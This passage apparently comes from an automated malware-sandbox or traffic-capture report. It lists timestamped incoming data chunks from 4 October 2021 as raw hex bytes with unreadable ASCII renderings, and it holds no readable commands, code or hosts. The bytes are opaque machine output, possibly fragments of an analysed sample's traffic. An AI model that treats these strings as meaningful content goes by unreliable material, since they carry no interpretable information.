08 39 d8 1a 1c d9 1c 54 89 90 39 e1 03 40 64 95 b1 28 1f 60 16 02 dc d9 de 4a 56 a8 b1 9f 47 04 4b 3d 8c 9e 88 13 20 fd 
49 0d 0a 6a 71 df db fa 3a 93 fd 01 81 80 f3 b9 a2 6b 5f c4 71 82 30 8e c7 9c 57 6f 80 bb b8 9c 1d a4 9b 52 50 91 3c f0 ae 
33 a3 98 f0 86 74 39 d7 2f aa 94 98 5d 1c 71 0a d3 43 af a1 a2 fd f7 5e 25 33 5c e0 ae 3e 6d 6b 43 50 2f b8 bc 2f 89 6c b1 
ee 5a 6d 41 c8 0c 9c 9a 9a 73 24 70 44 a0 e2 0a dd 59 eb cc 40 ad 0a 4e b8 47 97 5a d9 ad 46 3a 7b 37 c2 f7 d4 ae e4 26 
fa 30 6e c8 a9 9b d5 ac 26 e3 a0 dc 7d 2a ec d7 66 91 bc 9c 78 56 18 74 24 e0 b4 59 52 9d 0a 51 0d c5 21 de 5f b5 f7 50 
a4 84 71 09 31 93 ee ef 63 59 e5 9b f2 44 b0 93 
Data Ascii: OAY*px]i_qozX9T9@d(`JVGK= Ijq:k_q0WoRP<3t9/]qC^%3\>mkCP//lZmAs$pDY@NGZF:{7&0n&}*fxVt$YRQ
!_Pq1cYD

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 43 IN Data Raw: fd 25 cf 61 0f 0e eb b4 47 e2 62 f3 fc a7 00 98 c0 36 f8 1f 87 a6 36 46 c0 e6 16 ba 59 04 a1 d4 cd 87 bf 2a 68 
85 db b6 55 5f ae a2 7c 68 b1 8a 45 33 0e 45 e7 8b f2 45 cf 6a f8 1d 9a 2b a7 6e 17 e5 b4 36 6d 39 4f 3a f6 7c 43 fe 4a a2 
71 99 a8 7f e8 ce 60 82 8c 0a 40 c8 83 b3 c2 b3 fe 6e 17 d8 33 92 2a f3 74 55 c0 c0 88 e3 bf 10 a2 04 14 b2 f4 d9 a5 f0 ee
02 10 c0 54 46 75 1c cb a0 59 d2 a3 96 58 fc 66 32 5f bd 3f 75 bd f1 d5 fd 43 52 72 d0 a9 cf 5e 56 9f 2e e6 2d 84 e0 8c 7e 
b0 8c 72 93 3c 69 76 51 b6 f9 2e 1c 80 d7 9e e8 fd 0d 27 38 45 18 82 02 50 ae 35 7c ac 97 30 71 95 ad 2d 31 67 c2 57 72 
42 a4 cb 65 63 ef f2 0d 97 db 67 11 93 d2 79 84 4d 67 80 55 f1 8b f4 54 1e 3b be d7 a2 50 49 df 30 70 16 4f 5b 77 6e cb 
85 43 ec 36 db 54 02 8d fd 9e 7c 1e 85 03 8b 
Data Ascii: %aGb66FY*hU_|hE3EEj+n6m9O:|CJq`@n3*tUTFuYXf2_?uCRr^V.-~r<ivQ.'8EP5|0q-1gWrBecgyMgUT;PI0p
O[wnC6T|

2021-10-04 18:06:38 UTC 44 IN Data Raw: 3d 63 ab 0e cf 00 a1 cb 7c 0a d9 6e d8 cb 13 5e 38 ec 94 1b 06 cd 85 77 df 8e f8 b1 ae 2d 40 90 27 ca 25 14 
14 8e f1 db b1 53 83 0f 40 9b 56 7b 08 77 fd 2c f3 de b1 63 7f 33 45 34 12 9a 37 48 14 41 36 f2 76 bb a3 8a 96 58 83 d2 
19 13 8d c5 99 d2 73 70 91 15 43 d2 75 e4 e8 7a bc 08 46 77 8e 1b 05 74 6f a0 1b 9d 08 67 fa 4f 1b 37 8b 6d 25 db 17 47 
80 97 2f c1 9a 48 4c fc de a6 18 ec 23 6d 50 d9 cd 46 6f 18 99 c5 41 17 44 55 31 99 8e 12 ee 6b 5b 1c 0d 14 f0 d2 a8 6a 
2c 49 e4 02 98 98 c1 6c 8b 43 30 d6 76 95 11 31 a7 9f 5d 78 c6 19 c9 9f 1b b1 fe db 56 80 3f c9 c6 22 8a b6 ee 0f 75 3f f9 
ab a0 85 94 58 cb 58 69 d6 3d 3a ce 3a f6 e1 7c 1a 39 4e c3 90 b3 6f 0b 69 5d a9 bc 90 04 b0 02 98 9a 53 7c 40 b6 9d b5 
f9 93 62 28 0d e7 89 97 0f b2 c7 c3 5b 4b bc 05 77 26 
Data Ascii: =c|n^8w-@'%S@V{w,c3E47HA6vXspCuzFwtogO7m%G/HL#mPFoADU1k[j,IlC0v1]xV?"u?XXi=::|9Noi]S|@b(
[Kw&

2021-10-04 18:06:38 UTC 45 IN Data Raw: 32 d8 2f 4f db 55 52 4d 49 ee ed b5 f7 fc 73 f8 de 32 78 2b 17 b9 cc bb 91 d5 aa 36 4d 5b ab f1 44 ad b4 9d 7d 
7b f3 e4 57 6f 3c cb 60 dc 41 b2 5c 46 6d 2b 01 10 c1 2a 72 bb 8b 61 d4 1a 82 c5 1a f2 10 31 57 d8 92 f4 1a c9 15 2d 1c 
e8 b2 54 8f 73 fe fc b7 7c ba fa 36 fd 0e 8a b7 2d 23 fd 1a 17 90 5c 01 df af a3 a1 b7 02 e8 97 d6 98 05 fc af a4 19 4f a9 
99 49 35 0e 42 97 92 0d 44 e9 50 c7 1a b2 9a b4 66 c3 66 be 1e 5a 38 5c 35 fa 7f 78 cc 4a b3 71 58 b3 90 e5 f5 bb 80 88 
68 ef d8 90 87 2d 4a 1e 8d 15 c3 24 55 33 fd 78 ba d0 fe 0f 6c 2a 74 5c fb f4 aa cd d3 a5 e1 e5 01 00 3e 55 6a fa 1a e8 ad 
58 c0 b3 1a e4 fd 66 33 61 b9 e7 90 af f4 cf ec 49 4c 6f 1e ae e3 d1 50 b7 8a d2 2d 8e 7d 26 6d b4 b5 ee 96 23 66 65 4a 
b2 f2 da 02 a6 2c b4 f7 ef 26 47 3a 54 1c 86 f7 
Data Ascii: 2/OURMIs2x+6M[D}{Wo<`A\Fm+*ra1W-Ts|6-#\OI5BDPffZ8\5xJqXh-J$U3xl*t\>UjXf3aILoP-}&m#feJ,&G:T

2021-10-04 18:06:38 UTC 47 IN Data Raw: 30 c3 c4 28 f3 a5 ed bb 84 17 25 02 bd 79 e1 ee a6 51 0b 39 01 69 7f 80 ab 33 5f e4 a2 fe 70 15 d7 14 15 3c f3 
cf 7c db 82 93 92 29 7d 2e 84 2d b0 24 ca 60 12 e5 9b bc 06 8a dc 7d 24 b7 c6 2b b1 74 ee c5 f5 10 ea 09 54 80 26 74 0a 
ad e9 6c 84 da 64 00 e3 31 20 14 e7 99 16 06 63 87 77 df ad d8 08 ae 2b 62 83 22 a5 f0 7b d2 84 e2 de 79 4e a8 1f 3a 9a 
56 71 14 50 d4 22 69 c7 6b 72 7d 31 75 28 12 90 1a 4d 2a 73 2b d0 76 a4 bd f9 1b 58 83 d4 3a 14 4f 9b bc f4 5e 70 91 1e 
4b ea 5e dc b4 7a b6 d5 0d 76 8e 0a 67 c9 47 cc 12 97 08 76 52 4f 1b 35 8e 7f 1f d9 10 6f d9 85 2b ef 39 51 4e f6 b7 47 df 
ec 29 08 02 d6 e8 64 70 ae 99 cf 4b 2c 79 2b a2 93 50 18 fb 13 62 0c 0a 7f 50 c4 aa 6c 3d bb ae 11 8b 97 d1 b2 89 43 36 
a8 b7 84 18 13 18 92 78 56 9e 93 c8 95 10 8a cc ca 
Data Ascii: 0(%yQ9i3_p<|)}.-$`}$+tT&tld1 cw+b"{yN:VqP"ikr}1u(M*s+vX:O^pK^zvgGvRO5o+9QNG)dpK,y+PbPl=C6xV

2021-10-04 18:06:38 UTC 48 IN Data Raw: 37 0f 1e 1e dc 8b 16 50 c5 7b be 27 74 2e 04 81 bf f2 34 8f 7f 05 8a e7 07 63 8b f9 19 57 dc 05 49 25 37 63 c5 
b4 26 8b cf 57 3c c6 c0 7e 7d 91 44 6e c3 41 75 d5 39 f8 a4 08 04 58 b8 94 ea 9b 2e cb 92 36 d7 89 50 5d f2 27 59 f5 7d 
43 41 2c ed 12 b4 9d 0e 59 cc f1 29 59 03 5a ab c1 99 b8 dc bb 30 bb 38 b9 f9 55 14 2d 94 6c 75 8d 6a 69 04 c9 25 98 dc 
5b b1 5c 46 0d a7 11 16 e3 ad 5b e5 82 4c 91 23 13 ed 95 f9 38 a7 7a e2 89 d4 a3 ff 66 05 71 5d b5 47 88 0d 74 ec b1 19 
85 97 be fa 1f 8d c9 ae 4d d9 12 04 93 65 a2 cd a7 ca f4 31 03 ee 8c d3 a1 3f d7 34 a2 76 6f 83 36 4c 33 19 67 63 87 0c 
4e cb e4 e9 18 b8 b4 32 6e 1d 63 f4 83 6c 38 56 50 6e 70 50 fe 5d dc f3 87 b3 8b 86 6b 6c 93 8e 6a e7 c1 92 bc f9 2f e1 
72 0e fa 99 80 20 ea 41 30 c1 ec 8b f3 89 12 a2 0e 00 
Data Ascii: 7P{'t.4cWI%7c&W<~}DnAu9X.6P]'Y}CA,Y)YZ08U-luji%[\F[L#8zfq]GtMe1?4vo6L3gcN2ncl8VPnpP]klj/r A0

2021-10-04 18:06:38 UTC 49 IN Data Raw: 08 63 c4 da 51 4e ee db 4f 40 21 ff 8b 19 9c d9 c1 a3 52 a8 80 ff 46 ee 89 50 fe 9a d3 f4 71 31 ba 03 0f 1c cd fc 
78 0c f5 68 5a e5 d6 bb f3 ba 03 99 bd d5 a0 7b 4c 68 2e 6b df 99 38 76 33 b0 80 7e 36 8c bb f0 8d 1a f5 c4 28 f9 7b ef bc 
37 14 4d 13 be 77 e1 e8 a6 a2 e9 09 1e 73 37 81 aa 28 05 e7 a2 b3 6f 05 5a 61 15 3c e3 af c0 ca 84 8f 8e b3 12 04 92 3b 
28 1d db 7a 04 7f a2 e9 1c 9c 46 44 3a af d0 b1 cf b4 f5 d3 63 df e2 30 6a 2b 37 72 1d b7 5d 45 82 c4 78 42 f2 31 41 31 f0 
05 03 28 6b 8f 61 45 94 8d 14 a5 3b d6 8b 26 ba fa 02 88 95 e4 cb aa 56 11 26 0b 85 58 6d 85 69 ea 3d 66 db 29 63 7d 10 
07 19 13 90 10 40 25 64 58 d8 77 aa ad f0 0c 36 aa d5 0a 1e 5a d4 bb 95 83 71 91 15 5c f2 ca dc e8 70 be c1 7b cb 8d 1b 
12 6a ca cb 18 9d 0f 1b 7a 5f 1c 27 a4 ca 0c 
Data Ascii: cQNO@!RFPq1xhZ{Lh.k8v3~6({7Mws7(oZa<;(zFD:c0j+7r]ExB1A1(kaE;&V&Xmi=f)c}@%dXw6Zq\p{jz_'

2021-10-04 18:06:38 UTC 50 IN Data Raw: 0b aa 88 15 a5 e1 ee c3 0e 1b 7d 5d 64 1a e9 09 70 ea a9 1a ee 22 66 35 66 b9 3c 64 ae fb d5 ea 49 51 5e 2e 
a6 f9 4f 50 b6 8a e7 1d 8e 70 7c 7e be 97 61 96 22 7d 55 52 b6 0c 26 03 8a 45 9f c4 e5 46 f9 3a 45 12 97 77 d0 a4 35 67 
aa f6 b1 8f 94 8b 2f 32 31 49 57 72 4c 00 e3 67 63 e8 ec 01 a0 08 77 1b 95 eb e8 9b 42 93 a9 e5 f8 b3 c6 45 1a 2a a5 ef 
80 5a 49 c4 17 68 19 ba 87 f9 61 da 83 7a 4e 1f 4e 5e 11 82 f1 9c 7e 1c ad d3 82 ec cd df 81 9d 52 b4 64 c8 f7 5d 52 ed 
c2 21 df cd c9 51 28 ec 45 4f 46 3a d3 8c 0f f3 ca d3 a4 49 bd b5 d0 86 e4 54 33 d1 03 0d ec 72 2f 53 cf 02 0e de ec 2f 62 
f7 68 50 28 cf 97 1b b9 03 9e bd 14 a3 79 4a 85 25 ee 8b 98 36 70 24 3d df 7c 36 54 a9 40 e0 0b ed db 25 64 6a fe d3 e7 
17 35 08 ae 75 f0 e4 b0 38 fe 28 18 64 e5 93 af 5b 99 
Data Ascii: }]dp"f5f<dIQ^.OPp|~a"}UR&EF:Ew5g/21IWrLgcwBE*ZIhazNN^~Rd]R!Q(EOF:IT3r/S/bhP(yJ%6p$=|6T@%
dj5u8(d[

2021-10-04 18:06:38 UTC 51 IN Data Raw: 1c b6 41 47 80 8c f7 37 04 6c 64 c1 b1 28 13 ff 24 71 66 d8 cd 46 4c 86 a1 c5 47 0e 9f 29 a4 b3 89 32 fd 6d 4d 
4c 3e 7b 78 d1 a8 6c 3b ca f7 12 8b f2 f8 ab 8b ff 31 c7 71 92 18 19 c6 9c 5d 7e a9 93 c8 9f 1d a4 f4 ca 51 5f 37 e1 a4 f5 
8b b0 81 90 74 3f ff a2 ab 94 93 5f 05 5c 78 d4 42 a9 ce 54 fc f7 45 22 2a 4b f1 73 4d 6e 6b 45 69 bd a3 42 24 b4 4a 8f 98 
36 a4 47 a7 9e 8a 40 83 66 23 79 7e 8d 97 18 d8 40 c8 a5 40 81 09 56 80 6b d0 3d c6 a7 3a a7 7a 26 cd ff 20 bd e1 0b 9b 
39 74 dd 84 0c c5 a9 32 0c 88 d8 37 21 ee d8 13 66 52 9c 72 4d 0d 76 25 e7 cc 5a 58 98 24 d1 63 2a 2b cf 7c b5 58 52 a4 
88 7f b9 e3 92 e4 f4 41 9f cd b3 83 6f 94 95 ac 9f f4 81 8d fe 4b a6 72 d8 cd cd 1e 14 1d 14 12 18 03 a9 86 5b d6 74 93 7e 
60 39 d2 0f 92 fe 38 a0 2f dd 80 cf 82 50 27 
Data Ascii: AG7ld($qfFLG)2mML>{xl;1q]~Q_7t?_\xBTE"*KsMnkEiB$J6G@f#y~@@Vk=:z& 9t27!fRrMv%ZX$c*+|XRAoK
r[t~`98/P'

2021-10-04 18:06:38 UTC 52 IN Data Raw: ec ab a4 7d 4d 93 99 4f 39 c2 46 f9 87 0c 3a df 78 e9 12 9a 44 a4 6e 1b 7e f4 0b 6d 38 56 33 e1 1e e1 f5 4a b9 
76 8f a0 8f ff f1 60 ab 46 79 e3 c9 92 b7 c0 b9 7b 61 01 ac 0f 83 20 e6 41 72 c2 ec 87 ca 10 3a 86 04 0b a6 f0 bc 98 e1 e4 
17 13 38 7d 7b 65 1a e9 15 5e fa 73 19 e4 fa 09 81 4d b8 2a 10 bc fb d5 f7 26 55 7d 2e a2 f0 44 41 b1 a2 3c 2e 8e 6a 5f 
cc b1 8d 6b e2 31 66 65 40 a5 ef 35 05 a2 f5 9c c4 f2 5a f1 3b 45 12 e9 1b 43 a4 2e 7e ae 9a 2a 9e 9c 0f 8b 20 95 4f 50 72 
48 03 e5 62 72 e6 c9 e8 88 c8 72 08 9a b0 51 99 42 9f 92 73 e9 b9 dd 53 36 e5 a1 c7 b7 35 61 cc 3a 69 0e bb 4b 50 0c fe 
81 6b 4c 26 d1 4f 18 e7 c4 96 6f 12 94 18 a9 31 c8 f7 4d f3 78 bc 4c 05 28 51 70 b5 0e 20 d5 ef e2 57 21 ce 07 4f 57 3d ec 
4c 1e fe dd cd b2 56 34 2f e8 b3 10 76 a5 0d 
Data Ascii: }MO9F:xDn~m8V3Jv`Fy{a Ar:8}{e^sM*&U}.DA<.j_k1fe@5Z;EC.~* OPrHbrrQBsS65a:iKPkL&Oo1MxL(Qp 
W!OW=LV4/v

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 54 IN Data Raw: 43 8d 31 18 8c 7e 3f 18 78 e6 35 f3 e5 5e 71 7b 1d 61 22 3a d4 1b 4d 26 65 ad 9d 50 a8 a7 ff 0a 5f ab 39 09 14 
55 b8 96 f8 44 76 97 0e 56 b5 48 dd e8 70 a7 df 3c b1 8e 1b 1e 49 8c 32 e7 62 d0 1e 6c 44 6e 0a a6 68 1c f5 1a 56 8a f3 
10 e9 11 48 23 a1 b1 28 13 30 38 0a cb 0e de 44 56 a6 88 cc c9 b3 7e 51 5c 66 71 c6 e8 48 65 3a 0a 7b 72 c0 af 1f 81 93 
f7 18 80 b9 c1 ab 8b 49 ee c5 77 ae 1f 33 c6 9c 1c 4a a9 93 ca 9f 1d a2 a2 ca 51 91 7c e0 a4 21 2a b1 81 85 62 3f ff b8 ab
94 92 4c 35 59 78 d0 45 a9 ce 3a 3f f6 54 34 f0 4f c9 86 58 6e 6b 45 62 b8 b9 bd 3e a8 40 99 f2 58 6d 47 d2 94 9d 8b e3 
d8 2e 62 67 82 bf e7 de 5f c5 57 3f 91 00 5f 9b 67 8e e9 d8 ab 23 af 73 58 79 e7 de b6 de 02 9b 20 65 f6 94 0d d4 ac 3d fe 
98 ff 9f 3a e8 d8 18 0d d2 2c 73 47 18 75 08 d9 
Data Ascii: C1~?x5^q{a":M&eP_9UDvVHp<I2blDnhVH#(08DV~Q\fqHe:{rIw3JQ|!*b?L5YxE:?T4OXnkEb>@XmG.bg_W?_g
#sXy e=:,sGu

2021-10-04 18:06:38 UTC 55 IN Data Raw: d8 04 e3 78 d4 e5 a0 5c 51 6c 3b ee 17 c5 bc 5b a6 82 4c 91 23 ab ed 95 f9 38 c4 79 e2 85 d4 12 ff 66 05 0d 
ec ad 54 90 62 e2 ff a6 ed 93 d4 35 e3 0c 95 a6 36 5e c6 08 e9 97 61 07 df b6 dd 97 2f 11 e5 99 ca a3 28 ff be b0 69 73 
55 98 63 39 0e 45 ef 1d 1f 48 fc 6f fa 0a b2 8d b5 71 07 97 9a 1a 66 10 5d 3b e9 77 43 f1 55 a8 68 94 b3 90 fb fd 79 6d 85 
55 e5 e2 ca a6 c4 a7 f3 72 15 c0 2c a0 de ed 45 a6 d0 e4 90 de 7a 34 a0 04 0d b3 c3 c0 b7 e1 f5 0f 1f 29 ab 6b 48 14 f2 
08 37 1b a9 1a ee e4 57 8e 53 a0 33 76 ae ea c7 f3 52 b3 7d 02 ae c8 42 4f ab 99 f5 2d 9f 7e 2f 60 4e 8c 4d 9c 32 76 72 
8d a5 f8 3b 1c 99 3b 9f d5 e6 29 bd 3b 69 12 e3 9a 43 a4 3f 7e a3 95 31 9d 94 90 2e 29 b1 66 7a 75 41 3b fa 7a 6a fd f3 
08 99 da 69 e5 92 ef 78 8a 46 b1 3c 78 f8 b9 c1 48 0d 
Data Ascii: x\Ql;[L#8yfTb56^a/(isUc9EHoqf];wCUhymUr,Ez4)kH7WS3vR}BO-~/`NM2vr;;);iC?~1.)fzuA;zjixF<xH

2021-10-04 18:06:38 UTC 56 IN Data Raw: 03 f7 e6 03 02 8f 3a 6e 63 32 62 12 e9 a0 ea 14 81 cb 45 2b 63 5c 3b cf b9 ff d5 e8 18 7e 43 b5 b7 26 7e 18 7b 
ae bb 84 da 64 cd e5 44 7c 3a e6 9f 01 3f 65 80 18 10 85 8b 01 b4 1c 64 8b 31 ad 99 3c 16 84 e4 c5 b6 51 8b 58 29 98 56 
7d 08 69 fd 27 06 eb b7 72 7d 0a 65 1c 1e 94 1a 4b 43 59 35 f2 70 ac b6 e8 74 4c 82 d4 00 05 43 c0 6a e9 54 61 81 0e 47 
e4 40 23 17 85 a7 dc 44 a0 9d 12 05 7a 56 df 26 3e f3 f7 82 90 0e 14 8e 5f 1d d9 1c 54 92 f5 91 e9 11 43 41 de 89 28 19 
e6 f7 00 da f2 c4 66 47 ef 85 c5 47 04 41 2b a2 b8 8e 18 fd a8 4f 0d 0a 9d 7a d3 a8 79 3b 93 f7 08 8b 91 f8 b0 bb 44 30 44 
73 84 18 63 c6 9c 4c 0d 13 93 c8 95 17 8a af ca 51 97 59 05 a5 21 80 a3 85 fb 48 3f ff b2 a6 bc bc 4e 35 5f 74 ae 7f a9 ce 
30 d4 fa 50 34 3f 21 79 87 4d 64 66 4c 17 09 b8 
Data Ascii: :nc2bE+c\;~C&~{dD|:?ed1<QX)V}i'r}eKCY5ptLCjTaG@#DzV&>_TCA(fGGA+Ozy;D0DscLQY!H?N5_t0P4?!y
MdfL

2021-10-04 18:06:38 UTC 57 IN Data Raw: 3e 3c 2d c3 78 6a b5 08 65 ac 63 64 dd 36 c1 b4 1d 0e 31 b6 8b ee 9d 39 ef e7 9a d4 8f 45 35 d1 0d 47 f7 7b 
54 65 5c fc 13 b2 bf 8d 56 e9 df 12 48 0b 78 96 ce b1 86 ca 93 14 65 38 a2 e7 6c 91 4d be 7f 7d 9a 6f 5e 7e 3f cb 63 dc 13
b1 5c 46 6f 25 38 31 e9 a5 79 d4 a9 4e 97 0d 99 e4 84 fb 7f 1f 78 e2 85 ed 3f ee 61 60 38 ea b4 41 93 6b db cd b5 13 94 
97 1c f9 1f 81 a0 36 45 b6 0d 16 96 47 d2 c1 82 e4 b0 b5 02 e4 95 d1 98 02 ff af a8 a8 65 75 8c 6a 1b 28 4f f8 8d 1f 4f 90 
c2 e9 18 b8 97 8f 56 1d 69 91 e8 6f 3e 76 38 c3 71 50 f4 0b 87 7b 86 b3 81 e9 e2 d6 93 84 79 a7 c9 83 b9 2e b4 e1 72 0b 
d2 33 83 3a ec 69 aa c1 ec 81 db 13 12 a2 04 01 ad e7 d3 b5 e0 e4 1d 15 3e 55 6a 7e 1a e3 05 43 e2 ad 1a 8b fe 66 33 
30 b8 20 75 dd 41 d5 ec 43 47 54 00 aa e3 49 5c c4 91 
Data Ascii: ><-xjecd619E5G{Te\VHxe8lM}o^~?c\Fo%81yNx?a`8Ak6EGeuj(OOVio>v8qP{y.r3:i>Uj~Cf30 uACGTI\

2021-10-04 18:06:38 UTC 59 IN Data Raw: 68 5a 35 d6 b9 ce 6c 10 9e 84 d3 b1 70 72 aa d1 39 89 90 1e ea 33 b0 8a 76 e8 47 92 64 f1 18 f1 ec 06 fb 7b 
eb b6 86 2e 35 02 b7 a7 e1 ee 8c a2 f2 78 08 73 7f 80 aa 28 6f e7 a2 a2 70 6f d6 4a 15 46 e3 bc c6 c9 82 99 98 35 03 02 
84 36 84 0b dd 64 13 e3 b3 91 05 8a cb 57 36 b7 d0 42 3f b3 ee cf e0 91 d7 24 7e a0 49 7c 01 a1 cb 5e 82 f2 f2 de e3 3d 
76 5e e7 99 18 23 07 a3 76 d9 8f 98 0d bf 2b 5e b2 08 a1 f6 12 03 09 e5 d4 a7 41 9e 3f 1c 92 40 05 7d 78 ec 26 cb dc bd 
66 6f 33 bc 35 12 9a 0b 4b 38 5b 1e f6 76 ac b0 74 1c 59 83 d5 19 1c 42 df aa ed c8 fb 91 1f 51 78 4c d4 fc 6e 9e 1d 52 76 
84 0a 12 67 6f e6 1c 9d 08 1f f0 49 1b 31 a7 7b 15 c8 1e 51 fe e3 2b e9 15 eb 5d fe a5 3c 31 24 28 02 d6 c9 cb 58 6f 85 9d
c5 41 13 cc 2c a2 99 8f 0b f5 7c 45 1b 1d f7 f4 d3 
Data Ascii: hZ5lpr93vGd{.5xs(opoJF56dW6B?$~I|^=v^#v+^A?@}x&fo35K8[vtYBQxLnRvgoI1{Q+]<1$(XoA,|E

2021-10-04 18:06:38 UTC 60 IN Data Raw: 41 83 1e 9b 18 0f e4 fe 63 58 c9 a2 8f 6f 9e 97 ac 93 ee b6 aa ed 4e ac 75 23 d3 d5 e7 3d 1f 1e 14 09 c3 8b b7 
51 c5 7b 85 91 64 7a 00 09 aa fe e3 05 40 14 80 de 8e 4a a5 f1 34 67 b9 0f 65 25 31 7a df 8b 6a e9 e4 3a 14 c2 d3 70 7d 
95 7d 32 ae 65 71 ba 17 eb a8 1f 1f 3f 8f 90 85 b9 3d c7 bc 8b dc 98 52 1a da 24 59 f5 14 74 4f 43 fe 02 bc bf 93 52 e9 df 
71 73 01 50 be cb a0 88 b3 ae 3b 65 32 76 a4 31 e0 3c 9c 7b 6e 95 6d 5e 47 61 d8 67 f2 99 9a 5e 40 78 32 19 07 ee ca 
57 b9 81 4a 86 02 99 e8 bd f1 11 3b 7c 8d a5 fe 36 f9 77 06 36 ab b0 47 84 0d d9 ef b1 15 95 e9 3f 94 0a 86 a6 2d 92 cc 
3d 3f a1 4d 0c c4 b4 c6 f4 0f 02 ee 8c d7 98 02 ff af a8 a8 67 ac b3 47 19 1f 4f f8 c6 10 44 e3 78 e9 18 b2 8e a7 6e 1d 7f 
9a 36 6d 10 5d 3f e9 64 50 f4 4a a9 7b 86 b2 92 d9 
Data Ascii: AcXoNu#=Q{dz@J4ge%1zj:p}}2eq?=R$YtOCRqsP;e2v1<{nm^Gag^@x2WJ;|6w6G?-=?MgGODxn6m]?dPJ{

2021-10-04 18:06:38 UTC 61 IN Data Raw: da 89 b5 73 26 ca 49 c7 9b f3 85 7e 05 97 9c 36 d3 13 09 b4 63 43 b8 5b d5 e5 5b 49 84 1f 30 e1 4c 24 a8 de 
1a cc 6a 6e 07 fb 9a 07 e0 c3 b3 19 58 ba 92 da a8 d7 89 5a d9 dd 0f fc 49 20 6e 15 11 5d f9 e7 17 5b f5 68 50 fc c7 bf d9 
67 03 98 95 77 a1 79 4c 81 2e c6 76 82 36 76 32 b0 80 7c 36 07 ba 53 f1 9f fa c4 28 20 7a ed bc bb 16 35 02 a7 79 e1 e9 
b5 92 f1 39 ee 73 7f 80 2e 28 6f f6 b4 b1 76 2d 1a 4a 15 3c e2 ad c0 c0 7c 98 b4 23 12 06 ea e4 b4 0c d7 71 17 ff a0 e9 
05 9b dc 4a 36 4b c7 01 d7 bb ff c0 cd a6 fb 27 6f b1 26 65 06 b6 3f 55 a8 d9 76 cd e5 37 4f 3e f8 67 13 02 69 82 7f f1 67 
8a 0b a4 35 2b b2 f3 a4 f6 1e 3c 50 e3 d4 ad 68 a9 37 0d 90 5d 64 10 6b ea 22 78 cb af 8c 7a 37 71 22 1f 8b 09 4b 2c 62 
31 ed 7f 54 a6 d5 13 50 94 02 07 0b 59 c4 ba fa 55 
Data Ascii: s&I~6cC[[I0L$jnXZI n][hPgwyL.v6v2|6S( z5y9s.(ov-J<|#qJ6K'o&e?Uv7O>gig5+<Ph7]dk"xz7q"K,b1TPYU

2021-10-04 18:06:38 UTC 63 IN Data Raw: fe 3f 65 72 85 88 73 41 4e c4 44 4f 8d 95 5f 91 6f 7d 48 de b4 26 bd 06 ab d9 e1 c1 ac db 92 9c 34 71 df 97 90 
c5 ab 33 e0 9f 68 14 2e f3 c2 1f 95 ac 9b 6d 53 04 fa 1c cf d2 4f 44 07 33 c1 13 d3 0b 30 76 9d 8d cf b5 85 01 86 26 0f f5 
f9 76 53 da 2f 98 40 af 8c 8c 15 f8 9e 84 71 5f a1 7c c7 c4 58 f1 12 2e 07 02 93 c4 a4 86 4d d3 ed 82 68 7a 38 0c 8e be f2 
3e 3e 51 13 9f d1 a8 e2 8b f3 34 fd be 20 54 3a 27 ec d8 a2 35 ba e6 c7 14 c4 c0 e4 7d 9a 4a 44 ba f9 66 d2 20 cb be 85 
1f 30 81 b5 fc 01 2e c0 a5 be f4 09 56 32 d8 b9 48 f4 64 77 5b df e9 14 ab b1 f0 d6 e9 d9 1e c5 12 57 a7 eb a7 1c cd bc 
25 4d 18 28 f1 42 c2 a2 8d 7a 62 b5 5c d7 6f 36 da fb e5 f1 ad 76 56 e2 32 17 09 c2 b3 ef aa 86 53 bb 1d 14 fc 92 ec 3d 1b
fa e2 83 fc aa ee 61 10 30 c8 4b 47 82 62 6f 
Data Ascii: ?ersANDO_o}H&4q3h.mSOD30v&vS/@q_|X.Mhz8>>Q4 T:'5}JDf 0.V2Hdw[W%M(Bzb\o6vV2S=a0KGbo

2021-10-04 18:06:38 UTC 64 IN Data Raw: b6 e1 4b b2 8b 29 95 d7 e7 23 50 28 7d a9 9f 09 43 b5 26 7c b4 12 31 8b 9d 90 38 58 ff 66 56 78 5b 2d 87 04 
62 ee eb 1b 8e d9 71 33 c9 c7 73 9d 2d 2b 80 79 f2 a7 32 57 08 c5 a0 d6 b4 72 12 ca 3a 69 70 03 5b 5b 69 ce 7d 6a 5c c9 
da 4f 14 a0 be 90 6f 12 ea a0 80 ec c1 e3 b5 9d 44 40 4d 63 e7 58 70 df 0a 20 d9 a8 68 56 21 ce cd b1 47 26 05 9b 6d e2 
c9 e8 fd 5c ba 9e b8 32 ee 89 50 c7 fd 0c ec 9d 28 24 4a 28 0a cf e7 17 28 d7 6a 50 3f d4 b5 c3 37 16 98 95 d4 b3 63 5d 
8e 38 ee 2d 9c 36 70 91 a1 9a 6b 1e 09 be 53 f7 ba ea de 30 d1 26 e9 bc a8 b4 24 18 a4 51 bf ec a6 a4 50 28 0e 60 76 a8 
84 2a 6f e1 b1 a5 61 1c c4 5f 03 2f f6 97 f7 ca 97 88 8c b5 10 0f 94 28 a5 01 b2 d0 13 e3 b9 c3 1c 9b df 44 31 da 74 2c de 
b8 9a d7 ff ce ff 3f 70 a6 2a 5c f9 a1 c1 52 97 dd 7f 
Data Ascii: K)#P(}C&|18XfVx[-bq3s-+y2Wr:ip[[i}j\OoD@McXp hV!G&m\2P($J((jP?7c]8-6pkS0&$QP(`v*oa_/(D1t,?p*\R

2021-10-04 18:06:38 UTC 65 IN Data Raw: 75 0a af 0e 1c 8f 42 6d a5 b8 d7 8e 19 b3 f8 c2 40 9a ac c9 ce 25 8a b6 a9 a1 74 3f f5 1a ba 9f 85 9a 26 52 69 
dc 54 7f dd 36 ed fb 45 2b 08 95 ba 69 4c 6e 61 56 71 a9 bd af 04 8e 56 b9 a2 eb 68 47 a7 85 bc 8b b0 f8 3d 77 7c 9d 8e 
1e c4 2c 33 5a 41 a7 13 4e 80 7e f5 71 58 a9 29 a4 6c ba cf e6 de bd d9 1a 99 1b cd ce 81 06 fc f6 2c f2 83 78 3a 29 ec 
d0 1a 1b ac 8e 65 cb 2d 66 0d c9 e5 f7 52 9b 28 ee 56 c5 2b c5 61 4b 00 78 a4 82 1f 82 3e 85 f7 f3 7f 58 df 9b a7 45 b0 93 
bf 9a ee 8d 90 9e 6c a4 63 db c1 d4 f1 04 25 34 7f 0b d5 a5 80 dc c2 71 93 6e 76 07 3d 2c a8 e3 30 8a 51 14 80 c5 2a 73 
a9 e4 22 ed 90 27 4b 24 93 61 eb bd 3b 88 ee 29 14 c4 ca da 7d bf 46 46 bd 46 63 c1 26 64 87 19 0e 36 8d b2 fb b9 29 d0 
